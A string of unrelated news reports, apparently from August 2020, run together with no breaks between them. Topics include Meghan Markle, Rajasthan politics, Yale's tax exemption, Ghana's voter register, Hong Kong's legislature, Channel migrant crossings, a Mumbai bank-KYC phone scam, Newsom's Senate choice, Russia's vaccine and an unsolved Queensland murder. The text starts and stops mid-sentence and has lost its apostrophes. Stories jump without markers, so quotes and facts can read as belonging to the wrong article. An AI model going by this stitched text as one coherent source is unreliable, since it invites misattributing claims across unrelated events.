Meghan never lost faith that shed find the one even if the first time she decided who he was, shed been wrong, the authors wrote. Meghan married Trevor Engelson on a beach in Jamaica in 2011 months after landing a role in the popular US legal drama Suits Advertisement Her concerns over Pushys racist brooch The princess, 75, was spotted wearing the blackamoor jewellery, as she drove into Buckingham Palace in 2017 Meghan wondered if Princess Michael of Kent was trying to send her a message when she wore a racist brooch to the Queens Christmas lunch. The princess, 75, was spotted wearing the blackamoor jewellery, as she drove into Buckingham Palace in 2017. Blackamoor is a type of figurine which depicts mostly men, but sometimes women, with black skin. Extremely popular in the 18th century, they are now considered racially insensitive and Princess Michael later apologised for wearing it. The authors wrote: At the bare minimum, it showed insensitivity to Meghans African American roots and the racism she had encountered since pairing up with Harry. Peace and brotherhood will remain in party, underscored Rajasthan chief minister Ashok Gehlot on Tuesday, a day after Sachin Pilot sealed a truce deal with the party high command that also promised to look into the issues raised by him against the state CM. If any MLA is annoyed with me, then it is my responsibility to address that. I have kept doing this in the past and will do this now also, CM Gehlot told reporters before leaving for Jaisalmer, where the MLAs were moved fearing poaching by the BJP. The change in tune is in stark contrast to the belligerence shown by Gehlot while attacking his former Number 2 in the government in the not too distant past. Using particularly harsh language against the young Pilot, Gehlot called him nikamma, nakkara. I imbibed certain values from my family, no matter how much I oppose anyone, Ive never used such language. Ashok Gehlot ji is elder to me and I respect him personally, but I have the right to raise work-related concerns, Sachin Pilot told reporters today. On Monday, Pilot met former Congress president Rahul Gandhi and Priyanka Gandhi to end the revolt in the state unit that threatened the survival of the Ashok Gehlot government. The patch up in the party came ahead of an assembly session in Rajasthan on August 14. Pilot was sacked as deputy chief minister and removed as Congress chief in Rajasthan last month after his differences with Gehlot came to a head. Peace and brotherhood will remain in our party. A three-member committee has been formed (by Congress) to resolve the grievances. The BJP tried its best to topple the government, but in the end, all our party MLAs are together, not even one has left us, said CM Gehlot this morning. Congress president Sonia Gandhi decided on Monday to form a three-member committee to look into grievances of its rebel leaders in Rajasthan. The panel at the All India Congress Committee (AICC) level will have senior leaders as its members and it will hear all the sides and also go into the details of the political turmoil in the state. The committee will also discuss the possible changes in the organisation and the government, a Congress leader said, adding that the names of the committee members and the timeframe will be announced soon. NEW HAVEN Voters going to the polls Tuesday were greeted with a large sign telling them how much they could save in property taxes if Yale University and Yale New Haven Hospital were not tax-exempt. The move by New Haven Rising and the Yale unions is part of a campaign to have the university and hospital contribute more to the city. The unions and New Haven Rising said in a press release that the two institutions are getting a tax break of $157,722,490, up from $146,079,896 last year because of the increase in the citys property tax rate, 43.88 mills this year, and the increase in the assessed value of tax-exempt properties owned by Yale and the hospital. The amount represents the amount Yale and the hospital would pay in taxes under the current tax rate, minus their voluntary payments to the city and payments in lieu of taxes from the state, according to a press release. The tax-exempt properties total $4.3 billion in assessed value, a union spokesman said. The groups also launched a website, www.yalerespectnewhaven.org, with a calculator that will tell how much a homeowner would save if Yale and the hospital paid the same in taxes. The Rev. Scott Marks, director of New Haven Rising, said in the release, This is just another way to understand the heavy burden we all pay to give Yale a tax break. Our city has a decades-long map of segregated development, and the only way we can change the map is by partnering with the most powerful institutions in our city. I was encouraged to see leaders at Yale release a statement asserting Black Lives Matter, but those statements only have meaning when leaders also recognize their responsibility in providing opportunities for Black and Brown lives here in New Haven. Both Yale and Yale New Haven Hospital are tax-exempt on properties used for academic, medical or research purposes. Yale pays property taxes on its non-academic properties, including the retail stores it owns downtown. Laurie Kennington, president of Local 34, which represents clerical and technical workers at Yale, said, We are proud to stand with the community by insisting that Yale University pays its fair share. Yale could transform New Haven by stepping up as we are reeling from the COVID-19 crisis. Vincent Petrini, spokesman for Yale New Haven Health, said in a statement, Yale New Haven Health continues to be the largest taxpayer in Connecticut, paying more than $300 million a year. At the same time, we have provided $30 million in voluntary payments to New Haven over the last decade. In addition, we pay nearly $6 million in property taxes to the city annually, contribute to critical community programs, like New Haven Promise and we are working collaboratively to drive down employee healthcare costs. While imposing additional voluntary payments is not the answer especially in light of the massive financial impact of our COVID-19 response we remain open to working on creative approaches with the city. Karen Peart, director of University Media Relations for Yale, said the university, the citys third-highest taxpayer, pays $5 million in property taxes each year for non-academic properties, as well as about $5 million in permitting fees to the city. In addition, Peart said, Yale commits significant resources to supporting New Haven public school students as co-founder and primary funder of New Haven Promise. Yale contributed $4 million this year to cover full tuition at any public university in Connecticut for eligible New Haven public-school students. Last year, Yale and its employees made over $3 million in charitable donations to New Haven nonprofits and the United Way Campaign, to the direct benefit of New Haven residents. Yale further contributed $1.5 million to the Yale Homebuyer Program, which offers Yale employees $30,000 to purchase homes in New Haven. Yale supports initiatives such as the New Haven Works jobs pipeline program and Market New Haven. In terms of jobs, Peart said the university is the citys largest employer, with nearly 14,000 faculty and staff. Through its New Haven Hiring Initiative (NHHI), Yale has hired more than 1,000 New Haven residents into full-time positions (bringing the total to 4,000). Since last July (FY20), staff, academic, and construction hires have resulted in 239 total hires, with 86 from Neighborhoods of Focus, she said in a statement. As for other contributions to the city, Peart said Yale recently made a significant contribution to support the new Stetson Library in the Dixwell Avenue neighborhood. In addition, our medical school sponsors free clinics; our law school offers pro-bono legal advice; and our architecture school designs and builds homes for the economically disadvantaged. Yale students volunteer throughout the city, providing tutoring, mentoring, tax preparation, ESL classes, and food pantry services to the citys residents. Editors note: This story has been updated to include comment from Yale University. Iran's Foreign Ministry on Monday warned against "political exploitation" from the recent explosions in Beirut. It is "unacceptable" for various groups, individuals, and countries to use the Beirut tragedy as an excuse for their political objectives, Foreign Ministry Spokesman Abbas Mousavi said during his weekly press conference on Monday. Any judgment about the cause of the incident should be based on the results of a thorough investigation, said Mousavi. The Iranian spokesman referred to the western sanctions on Lebanon, saying that if those countries want to help Lebanon, they should first lift the sanctions they have imposed on the Lebanese people and government. The explosions in Beirut's port area on Tuesday left at least 158 people dead and more than 6,000 injured. From one perspective, the Electoral Commission has made Ghana proud. Today marks the completion of the compilation of a new Voters' Register. This feat has been accomplished by surmounting legal hurdles, stemming the tide of critique from CSOs, checkmating an esurient bent of the opposition party to encourage non-citizens from registering as Ghanaians, dousing a dose of genuine concerns from some citizens of the land that there could be a spike in the incidence of the COVID-19 pandemic. The Commission weathered this boisterous storm. With the support of the Office of Attorney General, the Commission successfully defended its position in court and won all cases. With the support of the security forces, the territorial integrity of Ghana was protected and many foreigners who wanted to register as Ghanaians were prevented from doing so. The Commission provided Personal Protection Equipment to its Officers and educated the general public to comply with social distance protocols and consequently, Ghana did not experience a spike in the incidence of the pandemic. The Commission deployed an excellent communication strategy and Ghanaians were provided with regular infographics of registration statistics. The transparency of the registration process was an admiration to the worst critics of the Commission. And that, is excellence exemplified, the Jean Mensah way. By close of business today 6th August 2020, approximately 16 million Citizens, mostly Ghanaians, would have been registered and issued with new Voters' Identification Cards. All hail the Commission for this sterling achievement. I wish the Commission well as it embarks on the deduplication process. God created man to have dominion over the earth. Jean Mensah has stood her ground and tamed the elements - the onset of COVID-19 would not prevent Ghanaians from going to the polls on 7th December 2020, which in turn, would have led to a dire situation of a country with no constitutionally-elected Officers on 7th January 2021. Within time constraints, the Commission has averted this catastrophe by its meticulous planning and execution and I join Ghana to congratulate the EC for this feat. Ayekoo. Source: Derick Oppong-Agyare Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video YEREVAN. We are on the way to losing Sevan. Environmentalist Karine Danielyan, who is also President of the "For Sustainable Human Development" NGO of Armenia, said this Tuesday during a meeting with journalists, talking about the flourishing of Lake Sevan. "The lake is turning into a swamp," said the ecologist, adding that by losing the lake, we are also losing Armenia. She noted that in 2017 and 2018, there was a negative balance in connection with Lake Sevan; that is, instead of rising, the water level of the lake fell, which is a blow to it. "The flourishing shows that the swamping process has intensified. [But] in this regard, there is a positive thing that a huge project has been developed with the support of the European Union, which all the data on Sevan, the catchment area collected. Everything is given in detail as to what to do, how to do it." The environmentalist noted that this project will be launched in 2021. But according to her, it is necessary to create a fund to save Lake Sevan. "However, we should not waste time and wait for 2021. It is necessary to engage in cleaning Sevan as soon as possible because if we addto the many problems that have arisenthe problem of Amulsar [gold mine project], the blow that the lake shall suffer, there will be enormous damage. No matter how much they say they will use new technologies, the problem is that the mine is so special that its all the same; the risk exists, whatever technology they use," she said. Karine Danielyan added that it is incomprehensible to her that despite such low gold reserves at Amulsar, they want to operate a mine in that area. "The peculiarity is that when the water touches the mine, that sulfide drainage will immediately begin to form; the acidic substances that will reach Lake Sevan one way or another. This is a blow that simply cannot be allowed to reach Sevan," the environmentalist added. Source: Xinhua| 2020-08-12 00:24:18|Editor: huaxia Video Player Close BEIJING, Aug. 11 (Xinhua) -- It is necessary for the Standing Committee of the National People's Congress (NPC) to decide on the constitutional issues regarding the Legislative Council (LegCo) of the Hong Kong Special Administrative Region (HKSAR), a central government official said in a statement released Tuesday. Xia Baolong, head of the Hong Kong and Macao Affairs Office of the State Council, on Saturday explained the bill asking the NPC Standing Committee to make a decision for the sixth LegCo of the HKSAR to continue operation. Lawmakers voted to adopt the decision on Tuesday. Matters concerning the vacancy of the HKSAR LegCo due to the postponement of the seventh LegCo election can only be resolved by the NPC Standing Committee at the constitutional level, as the HKSAR Chief Executive only has the power to postpone the election under the applicable law in the HKSAR, said Xia. The NPC Standing Committee has the power and duty to properly address constitutional issues arising from the implementation of the HKSAR Basic Law, according to Xia. Chief Executive of the HKSAR Carrie Lam on July 31 announced the postponement of the LegCo election due to the current COVID-19 outbreak. The bill suggested that the sixth LegCo should continue performing duties for no less than a year until the term of the seventh LegCo starts, which not only coordinates with the decision made by the HKSAR Chief Executive in Council to postpone the election for a year but also provides room for the HKSAR to postpone the election due to epidemic reasons and relevant working requirements, Xia said. A new round of the COVID-19 epidemic broke out in the HKSAR since July, with a total of 3,938 confirmed cases, including 2,874 locally-transmitted cases reported by Aug. 7, Xia said. Infections were reported in various areas and sectors, with unknown infection sources for nearly half of the cases, Xia said, noting that the new round of the outbreak has heavily impacted the LegCo election. Many political groups, social organizations and public figures in the HKSAR have urged the postponement of the LegCo election, saying that if the election is held as scheduled, it will be difficult to ensure fairness and openness, and it would also increase the risks of COVID-19 infections and endanger the voters and the polling staff, according to Xia. The State Council believes that the decision to postpone the election has a solid legal basis, and fits the current epidemic conditions in the HKSAR, Xia said, calling it necessary and appropriate. Enditem The Kumasi Campus, University of Education, Winneba will soon be known as Appiah-Minka University of Skills Training and Entrepreneurial Development. Parliament had passed the University of Skills Training and Entrepreneurial Development Bill, which gave legal backing to the proposed conversion of the Kumasi Campus of the University of Education, Winneba into an autonomous university. The suggestion to name the University after the late Appiah-Menka arose from his documented enormous contributions to industry in Ghana. The University, when established, would award up to doctorate degrees in technical and vocational education training (TVET) with the potential of transforming TVET education in the country. Contributions at the second reading of the bill supported the naming of the proposed university. Second deputy Majority Chief Whip Moses Anim Parliament said The University had to be named after Appiah-Menka. Mr. Speaker when we do that, I dont think weve done anything wrong. Appiah-Menka was an all-rounded person. He was a trained lawyer. At the age of 32, he was the Deputy Minister of Trade and Industry under Prof. Busias government, and astute politician at that level. Minority Chief Whip Muntaka Mubarak supported the move and said: This is a very laudable initiative. A former MP and a former industrialist. Even though hes past and gone, my uncle, Appiah-Menka has been one of the early industrialists in our country. I remember the Apino soap very well. It was a common name. Unfortunately, today many of the industrialists are struggling and import most of their raw materials. The late Appiah-Menka, was one of the founders of the Dankwa-Dombo-Busia tradition, from which the New Patriotic Party (NPP) was born. An astute entrepreneur and businessman, he founded the Apino Complex, manufacturers of the popular Apino soap. He died Tuesday, 13 February 2018 aged 84. Mr Appiah Menka served as a Minister of State in the Second Republic. President Nana Addo Dankwa Akufo-Addo in December 2019 announced that the Kumasi campus of the University of Education would l become an autonomous institution under the name, University of Skills and Entrepreneurial Development. At the sod cutting ceremony for the construction of a Technical Examination Unit at the College of Technology Education, the President noted that plans are far advanced in making the school an autonomous institution. The purpose of the University of Skills Training and Entrepreneurial Development Bill, 2020 is to establish an outstanding internationally acclaimed educational institution dedicated to training of teachers to equip them with the relevant competences for teaching in technical and vocational education and training institutions. The bill comprises 45 clauses; and it seeks to prioritise training of teachers to provide them with the relevant knowledge and aptitudes to create the necessary condition for effective and efficient training of students. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Migrants react as they are brought to Dover harbour by Border Patrol, in Dover, Britain, on Aug. 11, 2020. (Reuters/Peter Nicholls) UK Wants Greater Flexibility to Return Illegal Migrants Back to France The British government said on Tuesday it wanted greater flexibility to return illegal immigrants back to France after a surge in the number of people embarking on the perilous journey across the English Channel. Hundreds of people, including some children, have been caught crossing to southern England from makeshift camps in northern France since Thursdaymany navigating one of the worlds busiest shipping routes in overloaded rubber dinghies. British Prime Minister Boris Johnson wants to work with our French friends to stop the high-risk channel crossings that bring illegal immigrants to the UK, he told BBC News on Tuesday. The crossings are the activity of cruel and criminal gangs who are risking the lives of these people, taking them across the channel, a pretty dangerous stretch of water, in potentially unseaworthy vessels. We want to stop that, he said. This is a very, very bad and stupid and dangerous and criminal thing to do. Over 4,500 illegal immigrants have arrived in Britain since the start of the year, according to think tank Migration Watch UK. This is more than double the number of illegal immigrants who arrived in the whole of 2019, with the majority arriving after the lockdown period began. Migrants disembark after arriving at Dover harbour, in Dover, Britain, on Aug. 11, 2020. (Reuters/Peter Nicholls) Johnson also said he wants to change the panoply of laws that allow illegal immigrants to stay once they have arrived in the UK. Johnson has dispatched Immigration Minister Chris Philp to Paris for talks with the French government. Addressing Parliament in June, Philp said the UK were working with the French to prevent on the beach embarkations taking place. The crossings are entirely unnecessary because France is a safe country and France has a very well established and functioning asylum system, he said. About 50 percent [of embarkations] are stopped before they get onto the waterwe would like that number to be a great deal higher. Fair Immigration Laws When asked to confirm that UK immigration laws are fair, Philp told the House of Commons that the UK granted 20,000 people and an additional 3,000 unaccompanied children protection or asylum in 2019, which was the highest number of any country in Europe. He also highlighted the points-based system due to come in from Jan. 1, 2021, to replace the current free movement immigration system. Our legal migration methods are entirely fair, we therefore should be policing, with complete effectiveness, illegal migration routes, and the Home Secretary and I are determined to do that, he said. The Home Secretary Priti Patel appointed small boat commander Dan OMahoney on Monday to a newly created role, Clandestine Channel Threat Commander, to work with the French to tackle the illegal Channel crossings. His duties will include seeking tougher enforcement measures and the direct return of boats to France following interceptions at sea, according to a media statement. Dans appointment is vital to cutting this route by bringing together all operational partners in the UK and in France. This is a complex problem but across government we are working to address many of these long-standing issues, Patel said. This role is vitally important in the fight to end the heinous crime of people smuggling across the Channel, OMahoney said. Dublin Regulation Britain says the EUs so-called Dublin regulation, which currently governs the UKs return of illegal immigrants, is too inflexible and has very tight timeframes. The Dublin regulation requires that the UK must request that France take responsibility for an immigrant that has come via their shores within 3 months of the applicants asylum application. Many of the migrants seeking to reach Britain come from Afghanistan, Iraq, Syria, and countries in Africa. Some stand a chance of being granted asylum, while others, considered illegal economic migrants, are unlikely to be allowed to remain in Britain. Reuters contributed to this report. A superintendent with the central governments Goods and Services Tax (GST) department in Mumbai was duped of Rs. 1.91 lakh by a fraudster posing as a bank employee on Sunday. The fraudster duped him by asking him to update his bank accounts Know-Your-Customer (KYC) information. Srikumar Prasad (50), who has filed a first information report (FIR) at Antop Hill police station about the scam, was asked to download a quick support application on his mobile phone and to fill his credit and debit card details in it, leading to a loss of Rs 1.91 lakh in a series of seven-eight fraudulent transactions. Prasad, who lives in the CGS colony in Antop Hill area along with his wife and two children, received a message from an unknown number at around 9:30 am on Sunday, stating that his bank accounts KYC update is pending. He was told that if he did not update the KYC information, then he would not be able to make transactions from his debit and credit cards. The message also stated that he had to call or send an SMS (short message service) on the given number to complete the KYC verification procedure. Prasad followed the instructions and called on the number, but no one answered his call, said a police officer. On Sunday, at around 3:30 pm, a person claiming to be the banks employee called Prasad purportedly to help him update his KYC. The person told him that he was busy with office work in the morning and could not answer his call, said an officer from Antop Hill police station. The fraudster explained the KYC update process and asked Prasad to download an application, quick support, from the Google play store, and to fill his credit and debit card details in it. Prasad downloaded the application and punched in all the details in the app. Soon, he received an OTP (one-time-password) number on his mobile phone that he shared with the fraudster, who siphoned off Rs. 1.91 lakh from his bank account, said the official. Prasad received a call from his bank, alerting him about the fraudulent transactions. Later, he blocked his bank account and filed a complaint with Antop Hill police station following which a case was registered under the relevant sections of the Indian Penal Code (IPC) and Information Technology (IT) Act, 2000, for cheating. We have been appealing to the public to never share their confidential bank details with anyone, even if someone claims to be a bank employee. The KYC update is not permitted on the mobile phone and even bank employees are not permitted to ask any personal details related to a customers account, the official added. Sen. Kamala Harris endorses Gavin Newsom's run for governor at an event in February 2018. (Damian Dovarganes / Associated Press) With California Sen. Kamala Harris now cemented as Democratic presidential candidate Joe Biden's running mate, Gov. Gavin Newsom could soon face the politically perilous decision of whom to select as her replacement in the U.S. Senate. The appointment promises to be one of the most consequential of his political career, both in California and in regard to any ambitions the Democratic governor may have for the White House. And it puts him at risk of upsetting some of the most powerful forces within his party no matter what he decides. During a time of national reflection over the pervasive inequities and injustices suffered by Black Americans, Newsom will face significant pressure to appoint a Black woman to replace Harris. Harris is only the second Black woman in the nation's history to serve in the U.S. Senate. Conversely, an open seat would provide Newsom an opportunity to make history by appointing California's first Latino senator. Though Latino public officials have ascended to other positions of power in California over the last two decades, the state's most coveted political prizes its two U.S. Senate seats and the governor's office have remained elusive. There are so many factors that go into a decision like this for Newsom. Fundamentally, its about his legacy," said Democratic strategist Rose Kapolczynski, who ran campaigns for former California Sen. Barbara Boxer for two decades. At this moment in time, there is going to be a lot of pressure to appoint a person of color. The dynamics may be somewhat different in November and December, but I dont think this national reckoning on racial justice is going away." Democratic insiders and strategists interviewed by the Los Angeles Times provided their thoughts on those who might be in Newsom's top tier. They asked not to be identified in order to more freely discuss the merits of Harris' potential successors. That list includes: Reps. Barbara Lee of Oakland, Katie Porter of Irvine and Karen Bass of Los Angeles, who was also short-listed as a possible vice presidential nominee for Biden. Secretary of State Alex Padilla, a longtime political ally of the governor, also is at the top of the list, and Long Beach Mayor Robert Garcia appears to be gaining steam. Story continues Newsom might reach back to his political roots in the Bay Area, a wellspring of political power that has produced California's last three senators and the last two governors, by tapping Oakland Mayor Libby Schaaf or San Francisco Mayor London Breed. The governor could also decide to shore up his support in Southern California by selecting Los Angeles County Supervisor Hilda Solis, who served as U.S. Labor Secretary during the Obama administration, Los Angeles Mayor Eric Garcetti, Rep. Adam Schiff of Burbank or state Senate President Pro Tem Toni Atkins of San Diego. Or he could stick to a politician who recently won statewide office, evidence of the ability to defend the Senate seat when the post comes before California voters in the 2022 election. Along with Padilla, that short list includes Lt. Gov. Eleni Kounalakis, Atty. Gen. Xavier Becerra, Controller Betty Yee and Treasurer Fiona Ma. Picking a statewide-office holder would also give Newsom a twofer since he would then have to appoint a replacement for the remainder of that person's term in office. Whomever Newsom selects would serve the balance of Harris' term in the Senate, which ends in January 2023, if the governor decides not to call a special election. A spokesman for Newsom also said the governor wouldn't even consider the possibilities until after the November election. "Its the furthest thing from his mind," said Nathan Click. "The governor is squarely focused on leading the states response to COVID-19 and helping Californians during this global pandemic." Padilla, a former Los Angeles City Council president and state senator, has been one of Newsom's most loyal political allies over the past decade, and chaired Newsom's ill-fated run for governor in 2010. The Massachusetts Institute of Technology graduate has for years been mentioned as a possible successor to Democratic Sen. Dianne Feinstein, who gave Padilla his first major break in politics when she hired him as a staff member. Mindy Romero, director of the USC Center for Inclusive Democracy, said Padilla would be a top contender if Newsom filled any Senate vacancy including one that could occur if Feinstein decided to retire before the end of her term in 2024. Not only has Padilla won two statewide races for secretary of state, he also is California's top Latino elected official in a state with the largest Latino population in the U.S. About 30% of California residents who are eligible to vote are Latino. "It would be incredibly significant, and I think he will be under pressure to appoint a Latino. Its a long time coming in this state," Romero said. Its a blue state. You put a Democratic senator in office and they do a good job, they will likely stay in office for decades. In that way its like the Supreme Court." That wasn't the case the last time a California governor made a Senate appointment. Republican Gov. Pete Wilson in 1991 chose little-known moderate Republican state Sen. John Seymour of Orange County to succeed him in the U.S. Senate, which Wilson left when he was elected governor. Wilson saw Seymour as an ideological reflection of himself and praised the legislator's prodigious fundraising abilities. A year after his appointment, however, Seymour was pummeled in the 1992 general election by Feinstein, who won by a 16-percentage-point margin. The political landscape is even more treacherous today for the GOP. The percentage of Republican registered voters in California declined from 37% in 1992 to 24% this year. During that time, the percentage of Democrats dropped from 49% to 45%. Californians forgoing any partisan affiliation and registering as "no party preference" or "decline to state" increased from 10% in 1992 to 25% this year, putting them ahead of the GOP. No Republican has won a statewide election in California since 2006. State Sen. Holly Mitchell (D-Los Angeles) said she was hopeful that Harris' replacement in the Senate would be a woman, adding that women continue to be underrepresented in every level of government across the country. Currently, women account for just 26 of the 100 members of the U.S. Senate only 57 women have ever served in the upper chamber. Correcting that glaring inequity is essential for the wellbeing of all Americans, Mitchell said, because women elected to political office elevate the importance of issues such as workers' rights, child care, poverty and affordable housing. People who are impacted by those issues seem to fare better when more women are in office," Mitchell said. Mitchell said that, as a Black woman, Harris had also provided an essential voice in the Senate, speaking out on pay equity, the tragedy of Black men and women dying at the hands of police, and adequate healthcare. Mitchell hopes Newsom will replace that voice in the Senate. For that and other reasons, Newsom would be hard pressed not to seriously consider Bass, who in recent months rocketed into national prominence as a potential vice presidential candidate. Bass, head of the Congressional Black Caucus, is a seasoned legislator who served as speaker of the California Assembly before her election to the House of Representatives in 2010. Before entering politics, Bass worked as a community organizer in Los Angeles in the 1980s and 90s, joining a cauldron of activism that included young civil rights leaders who went on to become the heart of L.A.'s political establishment including former L.A. Mayor Antonio Villaraigosa, L.A. County Supervisor Mark Ridley-Thomas and state Sen. Maria Elena Durazo. "Of course you would have to consider Congresswoman Bass, along with everyone else," Durazo said. "Gov. Newsom would have an enormous pool of talent to pick from in California. Theres no shortage, and thats a great thing." Though not well known throughout most of the state, the mayor of Long Beach would also be a history-making pick for Newsom. Garcia, 42, who is the youngest mayor elected in Long Beach, is an immigrant from Peru and is gay. He also was one of the most prominent Latino leaders in Southern California to endorse Newsom for governor during the 2018 race. Times Staff Writer Jennifer Haberkorn contributed to this report. Russian President Vladimir Putin announced Tuesday that Russia has registered the world's first coronavirus vaccine called Sputnik V with state regulators for use. It comes after the country boasted intentions to win the global race for a COVID-19 vaccine in recent weeks by jumping ahead of established pharmaceutical practices. No data has been published by researchers for peer review, and the long-term effects of this possible vaccine remain unclear. "As far as I know, this morning, for the first time in the world, a vaccine against a new coronavirus infection has been registered," Putin told a meeting of government ministers. A scientist prepares samples during the research and development of a vaccine against the coronavirus disease at a laboratory in Saint Petersburg, Russia. (Anton Vaganov / Reuters) Last week, Kirill Dmitriev, head of the Russian Direct Investment Fund, which is financing the vaccine trials, told NBC News that the vaccine is a "copycat" of the Ebola vaccine developed five years ago by Moscow's Gamaleya Institute and a tweaked version of an earlier vaccine against the Middle East respiratory syndrome virus. Unlike similar vaccines, such as one being developed by the University of Oxford and AstraZeneca, Russia has moved ahead with approving its version before completing so-called phase three clinical trials, which are due to begin later this month. Instead, the first groups of people to be vaccinated doctors, teachers and high-risk individuals will be under some kind of observation, health officials have previously said. In effect, Russia will be conducting its phase three trials live, treating it more as a demonstrator group than a control group meant to ensure there is nothing dangerous awaiting the larger population. The Russian vaccine also differs from Oxford's by using so-called adenovirus vectors from humans rather than monkeys, Dmitriev has said. The first two phases involved just a few dozen volunteers. On Tuesday, Putin said one of his daughters has already taken the vaccine. He also said that it forms stable immunity and passes all necessary safety checks. Doctors will begin receiving the vaccine later by early September, Russian authorities said. As production ramps up in September and October, it will be offered to more at-risk groups before becoming widely available in January. This story originally appeared on NBCNews.com. Toyah Cordingley was murdered while walking her dog at Wangetti Beach in far north Queensland in October 2018 The family of murdered dog walker Toyah Cordingley have played down hopes the prime suspect in her case will ever face trial - as they claim police have been 'careless' with vital evidence. The 24-year-old pharmacy assistant was found battered and bruised with 'visible violent injuries' at Wangetti Beach in far north Queensland on the morning of October 21, 2018. Her body was discovered naked and partially buried in sand dunes by her father almost 12 hours after she was reported missing. Rajwinder Singh, who fled on a flight to his native India the same day, is a key person of interest but no arrest warrant or Interpol 'red alert' has been issued by Australian police. Indian police have previously said they would happily search for him - but nobody has officially asked them for help. Ms Cordingley's cousin Rachelle Foss said on Tuesday her family still had no answers and all they had been told was Singh was 'wanted for questioning'. 'Even if he is found and a warrant for his arrest is released, the likelihood of getting him extradited to Australia will be a very long and drawn out process,' she said in a social media post. Ms Foss then went on to criticise Queensland Police for their handling of the operation. Ms Cordingley's body was discovered naked and partially buried in sand dunes, while her dog was found tied to a nearby tree Ms Cordingley's cousin Rachelle Foss on Tuesday said all her family knew was person of interest Rajwinder Singh - who fled to India on the day her body was found - was 'wanted for questioning' Australian police still haven't issued an arrest warrant or requested a global Interpol 'red alert' for Singh, who fled to India the day after Ms Cordingley's body was found 'As a family member and knowing the early details on the case the first day, I strongly feel that the police were very careless with some of the evidence,' she wrote. The cousin did not explain how she believed police had bungled the investigation. Ms Foss also took aim at the media - saying crucial evidence was leaked to the media in the first few days which made detectives jobs 'so much harder than it already was'. Queensland Police in December 2018 criticised media reports claiming a key suspect in the 24-year-old's murder had fled Australia in the wake of her death. In the weeks after her cousin was murdered, Ms Foss had shared a photograph of the young woman surrounded by sunflowers, alongside a post remembering her 'pure, free spirited and kind' family member. 'I feel so deeply for the families and friends of loved ones that were never found,' Ms Foss wrote in her latest post. 'The not knowing, I cant even imagine. As a family we are so grateful we were able to say goodbye.' Ms Cordingley was killed while she walked her boyfriend's dog at Wangetti Beach in Far North Queensland on the morning of October 21, 2018. Pictured with her father Troy She urged anyone with information on the case to contact Crime Stoppers. If anyone has information on what happened to Toyah Cordingley police have asked them to call on 131 444. A Queensland Police spokesman told Daily Mail Australia the investigation into Ms Cordingley's death was a 'complex ongoing matter'. 'Police continue to appeal for anyone with information regarding her murder, who may have until now, been unwilling to speak,' the spokesman said. 'This is a complex ongoing matter in which police are taking an appropriately thorough approach to all aspects of the investigation.' Police have previously criticised media reports claiming a key suspect in the 24-year-old's murder had fled Australia in the wake of her death Authorities cannot arrest Singh - who is living as a free man in India - without an official order, the Courier Mail reports. Queensland Police have refused to disclose the details of the investigation or comment on why a formal manhunt for Singh hasn't been commenced. 'This is a complex ongoing matter in which police are taking an appropriately thorough approach to all aspects of the investigation,' police said in a statement. It's believed Singh nurse quit his full-time nursing job at Innisfail Hospital, abandoned his wife and child and fled to India the day the body was found. Last year a family spokesman said Singh - who worked as a nurse at Innisfail Hospital - could be hiding out in a Sikh temple. 'If someone wants to hide, it is easy to hide in India,' the spokesman said. 'He could be in any one of thousands of Sikh temples, where he can live under a fake identity and get work, free food and board.' Singh has extended family living in his home town of Amritsan in Punjab state, near the Pakistani border about 450km north of India's capital New Delhi. Late last year, Singh's uncle told 7News Singh had not been in contact with the family there. Inspector Harsandeep Singh of Punjab Police said they were here for justice and ready to investigate, but even if they saw Singh, they couldn't arrest him without any order or request. 'There is no case against Rajwinder Singh in our police station. He is as clean as you and me. For us right now he is a law-abiding citizen of this country,' he told the Sunday Mail. Ms Cordingley is pictured alongside her boyfriend Marco Heidenreich It's understood to be extremely difficult to extradite fugitives from India. Ms Cordingley's family and friends have vowed never to give up the hunt for justice. More than 100 people gathered last October to unveil a memorial on the anniversary of her death, not far from the spot where she was killed. Days later, heartless vandals tore down a banner with Ms Cordingley's face on it on it. They also tossed trinkets left at the site by loved ones in a nearby bin. More than 100 people gathered last October to unveil a memorial on the anniversary of her death, not far from the spot where she was killed If anyone has information on what happened to Toyah Cordingley (pictured) police have asked them to call on 131 444. You can remain anonymous Family friend Wayne 'Prong' Trimble noticed the banner - which was printed to help catch the killer - was missing. He pleaded with the culprits to come forward. 'Does anybody know the lowlifes who stole Toyah's banner from near her monument in the last couple of days?' he asked on Facebook. 'That banner was given to Toyah's family to hang there. We want it back ... Just put it back to save your life if it's worth saving. I'm pi**ed off.' Steve Parsonage from the Copy Shop Business Centre printed a new banner to take its place. He also gave one to her devastated parents, Troy and Vanessa Cordingley. The site also has a memorial stone and an area for visitors to sit on. SACRAMENTO, Aug. 11, 2020 /PRNewswire/ -- One of America's fastest-growing software consulting firm, TopDevz, announced today the delivery by their staff augmentation team of a new custom workforce management Saas platform for a leading human resources management business services consultant. The Client A leading provider of Risk Management and Human Resources management business services, this American group delivers solutions that help their clients control risk, protect their assets, and effectively manage people through a combination of intuitive cloud software, interactive training and on-site audit and loss services. The Challenge Under their HR management division, the consulting firm offers a Workforce Management Solution that helps manage employees throughout the employment lifecycle. As part of a customized solution for a new client, they were required to integrate with a third party applicant tracking system that was not supported by the original software. Lacking experienced developers in-house, they needed to find additional resources quickly in order to deliver the made-to-order solution on time. TopDevz' Solution Complying with a time sensitive need, TopDevz was able to present candidates to the product management team within 24 hours and two senior software engineers were on-boarded after 62 hours. By outsourcing the competencies they did not have in-house under a staff augmentation model, the software provider was able to respond to its client's needs in a timely fashion, while still having total control over the project and its production cost. The Outcome The software merchant was able to benefit from knowledgeable and experienced developers who were able to step in and start building the integration immediately. As a result, the customized solution was delivered 3 weeks ahead of schedule and under budget. The consulting firm has turned to TopDevz for additional resources ever since. About TopDevz TopDevz is a team of elite software developers, designers, project managers and quality assurance testers who live and work in the United States and Canada on some of the Nation's most sophisticated software development initiatives. Media Contact: Stephanie Rossignol [email protected] 888-TOP-DEVZ SOURCE TopDevz Related Links http://www.topdevz.com The Justice Department's indictment Friday of 12 Russian military intelligence officers undermines those denials. And if the criminal charges are proved, it would show that WikiLeaks (referred to as "Organization 1" in the indictment) received the material from Guccifer 2.0, a persona directly controlled by Russia's Main Intelligence 